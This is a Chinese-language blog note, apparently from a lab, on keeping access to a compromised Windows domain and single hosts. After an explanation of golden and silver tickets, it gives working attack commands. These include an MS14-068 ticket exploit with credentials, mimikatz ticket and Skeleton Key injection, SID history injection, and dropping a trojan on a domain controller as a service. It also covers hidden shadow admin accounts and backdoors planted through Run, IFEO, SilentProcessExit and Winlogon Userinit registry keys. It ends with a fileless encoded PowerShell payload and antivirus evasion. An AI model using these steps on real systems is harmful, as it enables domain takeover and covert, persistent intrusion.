域内权限维持和单机权限维持
## 域环境权限维持
先补下上个笔记的票据内容,emmm由ai生成

一、Kerberos 是什么?(用公司门禁系统理解)
Kerberos 是一种网络认证协议,核心作用是:在不安全的网络中,安全地证明“你是你”,而不用每次都输密码。
把它想象成一家大型公司的严格门禁系统:
- 客户端:你(员工)
- 服务端:你想访问的资源,比如打印机、文件服务器
- KDC (密钥分发中心):公司安保总部,是整个信任体系的根。它里面包含两个核心角色:
- AS (认证服务):负责确认你是谁,给你发“临时通行证”
- TGS (票据授予服务):负责把“临时通行证”换成“特定房间的权限”
二、Kerberos 的正常工作流程(3步)
- 你到公司(AS认证):你刷卡(输入密码)给前台(AS),前台确认后,发给你一张“TGT (票据授予票据)”。
- TGT的特性:这张票只能交给TGS,不能直接开门。它证明“你是合法员工”。TGT 是用一个只有安保总部知道的根密钥(KRBTGT密钥)加密的。
- 你去换权限(TGS换票):你想进“财务室”。你拿着TGT去找TGS:“我要去财务室”。TGS验证你的TGT没问题(用根密钥解密成功),然后发给你一张“ST (服务票据)”。
- ST的特性:这张票明确写着“允许张三进财务室”。ST 是用“财务室自己的密码”加密的。
- 你进财务室(访问服务):你拿着ST去刷财务室的门锁。财务室的门锁用自己的密码解密ST,一看是张三,开门。
关键点:整个过程中,所有票据都是加密的。服务器(财务室)不联系安保总部,它只相信自己能解开的ST。
三、为什么能产生黄金票据和白银票据?
攻击者发现了设计中的两个信任弱点:只要知道某个密码(密钥),就能伪造对应的票据,因为服务器“信任”能正确解密的票据就是真的。
1. 黄金票据:伪造“安保总部的根密钥 (KRBTGT)”
- 弱点:整个信任链的源头是 KRBTGT账户的密码哈希。这是安保总部给TGT签名的绝对密钥。
- 攻击:如果攻击者拿到了这个KRBTGT哈希(例如黑掉域控服务器抓取到),他就可以自己扮演安保总部,伪造任意员工的TGT,哪怕这个员工不存在,有效期写到100年后。
- 后果:攻击者拿着这个“万能TGT”,可以去TGS换取任何服务、任何服务器的ST。相当于控制了整个公司。
2. 白银票据:伪造“某台服务器的服务密码”
- 弱点:ST的加密密钥是目标服务自己的密码哈希(例如文件服务器的机器账户密码)。
- 攻击:攻击者不需要弄到总部的KRBTGT,他只要搞到某台服务器(比如财务室服务器)的本地密码哈希(比如通过攻击这台服务器本身),就能直接伪造去这台服务器的ST。
- 后果:攻击者跳过安保总部(AS/TGS),不经过任何TGT验证,直接把假ST递给财务室服务器。由于ST能用服务器的本地密码正确解密,服务器就信任了。攻击者只能进入这一台服务器的特定服务(如文件共享),但这一过程不留下与域控交互的日志。
总结:为何Kerberos设计会产生这个漏洞?
因为Kerberos为了性能和去中心化,做了一个经典设计权衡:
- 服务端不联查中心:文件服务器收到ST后,自己解密验证,不需要每次访问都去问域控“这人是谁”。这极大地减轻了域控压力,速度快。
- 信任票据自身:服务端相信:只要你能用我的密码解开这张票,票里的内容就是真的。
于是漏洞诞生了:
谁掌握了加密密钥,谁就是上帝。
- 掌握了 KRBTGT密钥 = 整个域的上帝 → 黄金票据
- 掌握了 某台服务密钥 = 那台服务器的上帝 → 白银票据
Kerberos本身不是漏洞,而是这个“信任密钥”的模型,在密钥泄露后就完全崩溃了。所以防御的核心才变成了保护密钥:死死护住KRBTGT,并且频繁更换所有服务账户的密码。
一、黄金票据:伪造的TGT数据块
它本质是: 一个用 KRBTGT账户哈希 加密的 TGT(票据授予票据) 数据包。
这个数据包里写了什么?(简化版)
- 申请人 (Client):你伪造的用户,比如
Administrator或Enterprise Admin - 有效时间 (Start/End Time):你设定的有效期,可以写10年
- 组成员 (Group Membership):这是最关键的字段,你直接写上
Domain Admins(域管理员组)、Enterprise Admins(企业管理员组) 等SID(安全标识符) - 会话密钥 (Session Key):你随便生成的一个随机数,用于后续和TGS通信
关键: 因为整个数据包是用 KRBTGT的密钥 加密的,而域内的KDC(密钥分发中心)在收到这个TGT后,会用自己的密钥(KRBTGT)去解密。能解密成功 = 合法的TGT。KDC根本不关心这个TGT是不是自己之前签发的,它只认加密是否正确。
形象比喻:
黄金票据就是你偷了国家印钞厂的母版(KRBTGT),自己印了一张面值10亿的钞票。银行的验钞机(KDC)检查防伪标识(解密),发现完全正确,就会当真钞收下。
二、白银票据:伪造的ST数据块
它本质是: 一个用 目标服务账户的哈希 加密的 ST(服务票据) 数据包。
这个数据包里写了什么?(简化版)
- 申请人 (Client):你伪造的用户,同样可以是
Administrator - 目标服务 (Service Name):你要访问的具体服务,比如
CIFS/FileServer.domain.com(文件共享服务) - 组成员 (Group Membership):同样,你直接写上
Domain Admins - 有效时间:也可以设置比较长,但通常几小时就够
- 授权数据 (Authorization Data):伪造的PAC(特权属性证书),告诉服务“这个人有管理员权限”
关键: 这个数据包根本不经过KDC。攻击者直接把它发给目标服务器(比如文件服务器)。目标服务器收到后,用自己的机器密码哈希去解密。能解密成功 = 合法的ST。服务器看到里面的 Domain Admins,就直接放行。
形象比喻:
白银票据就是你偷了某个金库(目标服务器)的专用钥匙,自己伪造了一张“押运单”。你拿着这张假单子直接去开金库门。守门员用自己的钥匙验证单子上的印章(解密),发现正确,就让你进去了。整个过程完全绕过了银行总行(KDC)。
核心区别表(从“是什么”角度)
| 对比项 | 黄金票据 (Golden Ticket) | 白银票据 (Silver Ticket) |
|---|---|---|
| 是什么协议数据 | TGT (票据授予票据) | ST (服务票据) |
| 发给谁 | 发给 KDC (域控),用来换取服务票据 | 直接发给 目标服务器,用来访问服务 |
| 用谁的密钥加密 | KRBTGT 账户的哈希 (域控的根密钥) | 目标服务账户 的哈希 (如机器账户) |
| 数据包里的关键信息 | 伪造的用户名、组成员(SID)、有效期 | 伪造的用户名、组成员(SID)、目标服务名 |
| 合法性的验证方式 | KDC 用自己的密钥解密成功,认为合法 | 目标服务器用自己的密钥解密成功,认为合法 |
| 是否需要与域控交互 | 需要 (用TGT去换ST时会交互) | 不需要 (直接发给服务器) |
简单比喻理解
- 黄金票据:你伪造了整个小区的“万能钥匙”(Master Key)。你可以打开任何一家的门、信箱、车库。
- 白银票据:你伪造了某栋楼某个单元门的专用钥匙。你只能进入这个单元,去不了其他楼。
黄金票据与白银票据伪造 - Wineme_哔哩哔哩_bilibili
上面是生成的解释和使用minikatz的演示

上篇次实验用到的虚拟环境kali和本机为攻击机,DC为域控Webserver为跳板机,Mary为域账户,这操作还是太次内存了。
CS拿到webserver主机之后,执⾏命令,查看当前⽤⼾的SID值:shell whoami/user
MS14-068.exe -u webadmin@god.org -s S-1-5-21-1218902331-2157346161-1782232778- 1132 -d 192.168.3.21 -p admin!@#45
-u 指定⽤⼾名
-s 指定SID值
-d 指定IP地址
-p 指定密码

查看当前票据:shell klist
清除当前主机票据:shell klist purge
查看当前票据:shell klist
清除当前主机票据:shell klist purge

#避免当前主机中缓存的票据会影响后续的操作,所以先将主机上原有的票据清除
使⽤CS将⽣成的票据上传到受控主机
mimikatz kerberos::ptc TGT_webadmin@god.org.ccache
#利⽤mimikatz将⽣成的票据导⼊到当前被控主机的内存中
mimikatz kerberos::ptc TGT_webadmin@god.org.ccache
#利⽤mimikatz将⽣成的票据导⼊到当前被控主机的内存中
shell klist
#再次查看当前票据

shell dir \owa2010cn-god\c$
#连接计算机名为owa2010cn-god的主机,查看C盘的⽬录
#owa2010cn-god的主机为域控的主机,通过信息收集可以得到主机名。
shell net use \OWA2010CN-God\c$
shell copy 5555.exe \OWA2010CN-God\c$
shell sc \OWA2010CN-God create bindshe binpath= "c:\5555.exe"
shell sc \OWA2010CN-God start bindshe
#⾸先将⽊⻢copy到⽬标主机(域控),利⽤sc命令⽣成服务将⽊⻢放置到服务中,随后启动服务,即
可让⽊⻢上线
—————— ฅ՞• •՞ฅ ———————
以上是内网横向的一些内容,工具好多emmmb( ̄▽ ̄)d
下面是
权限维持
—————— ฅ՞• •՞ฅ ———————
对于域
隐藏账户
上传CreateHiddenAccount_upx_v0.2.exe并创建用户

正常的命令⽆法检查出来,查看计算机⽤⼾时可以看到刚刚添加的隐藏账⼾⾪ 属于管理员组
此⼯具还可以检查是否具有隐藏⽤⼾:
CreateHiddenAccount_upx_v0.2.exe -c
影⼦账⼾
顾名思义就是隐藏的账⼾,在CMD命令⾏和“计算机管理”⾥⾯看不⻅,但却有管理员权限的账
⼾。影⼦账⼾这⼀概念随着Windows系统产⽣,在⿊客技术⾥与后⻔安装(权限维持)技术挂钩。
由于它的隐藏性强,⼊侵者多在被⼊侵的电脑⾥加这样的账⼾,⽤于远程登录以便控制客⼾机。
影⼦账⼾利⽤思路:
1.克隆管理员Administrator账⼾权限
‒ 需要注意管理员帐⼾是否被禁⽤,如果被禁⽤,那么克隆出的隐藏帐⼾也是被禁⽤状态。
2.复制已有账⼾
‒ 在3389远程登录的利⽤上存在相同帐⼾的冲突关系
‒ 如果系统当前登录帐号为a,那么使⽤由账⼾a克隆来的隐藏帐⼾aaa$登录的话,会系统被识别为帐
⼾a,导致帐⼾a下线
3.新建账⼾再复制
‒ 新建管理员帐⼾b,克隆帐⼾b,建⽴隐藏账⼾bbb$
‒ 删除管理员帐⼾b,隐藏账⼾bbb$仍然有效
4.原账⼾的维持
‒ 克隆帐⼾a的权限,建⽴隐藏帐⼾aaa$
‒ 修改帐⼾a的密码,隐藏帐⼾aaa$仍然有效
win+r 输入regedit回车打开注册表



查看到RID文件夹,并导出替换用户的f值从admin的f值

net user 用户名$ /del
后点击重新导入账户
查看影子账户工具D盾,河马
影子账户的原理是通过直接操作Windows注册表中的SAM(安全账户管理器)数据库,创建一个在常规管理工具(如net user、计算机管理)中不可见,但实际拥有管理员权限的隐藏账户。其核心技术点如下:
1. 账户的可见性控制
- 以$结尾的用户名:
net user aaa$ /add创建的账户,在默认的net user列表中不会显示(需net user aaa$才能看到),但“计算机管理”仍能列出。 - 直接注册表操作:通过导出、删除、再导入注册表项,使得账户信息存在于SAM中,但绕过了系统枚举用户的标准API(如
NetUserEnum),从而在所有常规管理界面中彻底隐藏。
2. 权限提升原理
- F值:注册表中
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\<RID>下的F键值,存储了用户的权限配置(包括组成员身份、令牌等二进制数据)。 - 复制Administrator的F值:将Administrator对应的
000001F4文件夹中的F值,覆盖到目标账户(如aaa$)对应的F值中。这样目标账户就获得了与Administrator完全相同的权限——即成为隐藏的管理员。
远程控制软件
emmm有点乱了,之后写的笔记加个目录
常⽤的控制⼿段(CS和MSF等平台⽣成的后⻔)需要涉及到很多免杀的技术和⼿段。但是使⽤远
程控制软件(例如向⽇葵、ToDesk)的时候,因为该类型的软件是市⾯上常⽤的、⼤众熟知的远控软
件,所以早已被各⼤安全⼚商加⼊到⽩名单。使⽤此类软件去操作控制⽬标服务器时,可以省略免杀
的步骤。


放入目标机器之后点击执行 
优点:
1、⽆需安装控制端软件,有浏览器就可以远控
2、流量⾛的https协议,只要⽬标放⾏443端⼝就可以实现
3、低带宽环境下也可以使⽤,运⾏占⽤内存和CPU极低
缺点:
1、⽬标有⽹络,且不封堵https
2、⽬标主机休眠状态下唤醒远程控制,会导致安全卫⼠的拦截。
但是其他软件不会拦截(可以使⽤该软件⼿动关闭杀毒软件)
基于登录进程劫持(Skeleton Key技术)
- 核心目标:在域控服务器的
lsass.exe(Local Security Authority Subsystem Service,负责本地安全认证)进程中注入一个恶意补丁,使得域内任何用户除了使用自己的真实密码外,还可以用一个 预设的万能密码 成功登录。 - 技术依托:
mimikatz工具中的misc::skeleton模块实现。它修改lsass中 NTLM 验证逻辑,对输入密码进行比对时,如果匹配万能密码,则直接通过认证。 - 影响范围:整个域的所有账户(包括域管理员、普通用户,甚至 krbtgt 账户),因为域控的
lsass处理所有域登录请求。 - 原始密码依然有效:用户正常改密或使用原密码不受影响,后门不易被察觉。
IPC连接使⽤收集到的凭据信息去发起连接之后
net use \owa2010cn-god\ipc$ "Admin12345" /user:god.org\administrator
dir \owa2010cn-god\c$
#写⼊万能密码:
privilege::debug
#刷新,保存
misc::skeleton
写⼊万能密码之后,可以直接在其他域控主机上使⽤万能密码连接DC域控主机
net use \owa2010cn-god\ipc$ "mimikatz" /user:god.org\administrator
dir \owa2010cn-god\c$
windows系统不保存⽤⼾的明⽂密码,lsass.exe--sam数据库。
因为Skeleton Key技术是被注⼊到“lsass.exe”进程的,所以他只存在内存中,如DC域控重启,
“lsass.exe”进程将会重新加载,那么万能密码将失效
基于⽤⼾属性修改(SID history)
https://blog.csdn.net/m0_61643743/article/details/124437452
SID History 注入
1. 核心原理
SID History本是微软为域迁移场景设计的安全属性,当账户从一个域迁移到另一个域时,旧域的SID会写入新账户的SID History中,使其保留对原域资源的访问权限。
攻击者滥用此机制,将高权限账户(如域管理员)的SID注入到普通域账户的SID History属性中,使该普通账户在权限验证时自动获得目标SID对应的所有权限,且不会修改原有账户属性。
2. 操作详解
- 获取SID:笔记中使用
wmic useraccount get sid,name命令获取域内用户的SID值。wmic是Windows内置工具,无需加载PowerShell模块即可获取SID信息。Get-ADUser是查看 SID History 属性的正确命令,该属性默认值为空。 - 注入SID:Mimikatz的
sid::patch会临时修改NTDS服务(Active Directory的目录服务)的验证逻辑,允许向SID History写入本不应修改的高权限SID。sid::add /sam:webadmin /new:administrator将目标账户administrator的SID添加到webadmin账户的SID History中,操作完成后webadmin会获得管理员权限。 - 版本限制:此方法在Windows Server 2016及更高版本的域控上无法直接使用。
sid::patch命令会因错误而失败。针对新版域控需要使用DSInternals PowerShell模块,但操作更为复杂。 - 验证:再次通过
Get-ADUser webadmin -Properties sidhistory查看,webadmin用户的SID History属性中已出现目标SID。 - 登录:webadmin用户此时已具备管理员权限,可执行
dir \\owa2010cn-god\c$等远程访问操作
⻩⾦⽩银票据
krbtgt是Windows域中的默认管理员账⼾,它是域控制器使⽤的账⼾。该账⼾由LDAP和Kerberos认
证系统使⽤,并且在域环境中的每个域控制器上都存在⼀个krbtgt账⼾。这个账⼾的主要作⽤是为了
帮助⽤⼾和应⽤程序使⽤Kerberos进⾏⾝份验证,并授权票据。
1,利⽤mimikatz获取krbtgt账⼾的hash值,并导出
(这⼀步在横向移动过程中可以利⽤信息收集过程中去获得)
对于单机(这里写的有点敷衍了)
一、自启动项(3 种方式)
1. 启动目录
- 路径:
C:\Documents and Settings\用户名\「开始」菜单\程序\启动(Win7 及以后类似%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup) - 原理:系统开机时自动执行该目录下的所有程序。
- 优点:操作简单。
- 缺点:权限通常为当前用户,且容易被发现。
2. 自启动服务
- 命令:
sc create ServiceTest binPath= C:\6.exe start= auto - 原理:创建一个系统服务,并设置为“自动启动”。
- 优点:服务以 SYSTEM 权限运行,权限高。
- 删除:
sc delete ServiceTest
3. 注册表启动项
-
当前用户:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run -
本地机器(需管理员):
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -
添加命令:
text
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "backdoor" /t REG_SZ /F /D "C:\6.exe" -
权限:写入 HKCU 以用户权限运行;写入 HKLM 以 SYSTEM 权限运行。
4. 计划任务(补充)
- 旧系统:
at \\目标IP 时间 c:\6.exe - 新系统:
schtasks /create /s 目标IP /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\6.exe /F
二、映像劫持(Image File Execution Options, IFEO)
1. 基础劫持
-
注册表路径:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\程序名.exe -
原理:设置
debugger键值,当目标程序(如notepad.exe)启动时,实际运行的是指定的程序(如calc.exe)。 -
命令示例:
text
REG ADD "HKLM\...\notepad.exe" /v debugger /t REG_SZ /d "C:\windows\system32\cmd.exe /c calc" -
缺点:目标程序功能被破坏,容易暴露。
2. 高级隐蔽劫持(利用 GlobalFlag + SilentProcessExit)
-
原理:利用 Windows 的“进程静默退出”机制(Silent Process Exit),在目标程序正常关闭时触发执行后门程序,不影响原程序功能。
-
操作:
cmd
reg add "HKLM\...\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 reg add "HKLM\...\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1 reg add "HKLM\...\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\6.exe" -
效果:用户正常使用 notepad,关闭时后门启动,更难发现。
三、登录界面劫持(Winlogon Userinit)
-
注册表路径:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon -
键值:
Userinit,默认值为C:\Windows\system32\userinit.exe, -
原理:每次用户登录或切换账户时,系统会执行该键值下的所有程序(用逗号分隔)。
-
添加后门:
text
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\system32\userinit.exe,C:\6.exe" -
效果:每次登录/切换用户,后门都会运行(通常为 SYSTEM 权限)。
四、配合无文件落地(避免杀毒软件查杀)
核心思想
不将木马程序写入磁盘,而是将木马的执行代码(如 PowerShell 脚本)直接写入注册表,通过注册表键值触发执行。
步骤(以 CS 生成的 PowerShell 代码为例)
-
生成 PowerShell 代码:Cobalt Strike 生成一个经过 Base64 编码的 PowerShell 命令(实际是一个下载执行或反射加载的 payload)。
-
写入注册表:将整个长命令拼接到
Userinit键值中,例如:text
REG ADD "HKLM\...\winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\system32\userinit.exe,powershell -nop -w hidden -encodedcommand <BASE64字符串>" -
效果:系统登录时,会运行 PowerShell 执行内存中的 payload,没有任何落地文件。
-
免杀增强:可对 PowerShell 代码进一步加密、混淆或使用其他语言(如 C#、VBS)编译后写入。

浙公网安备 33010602011771号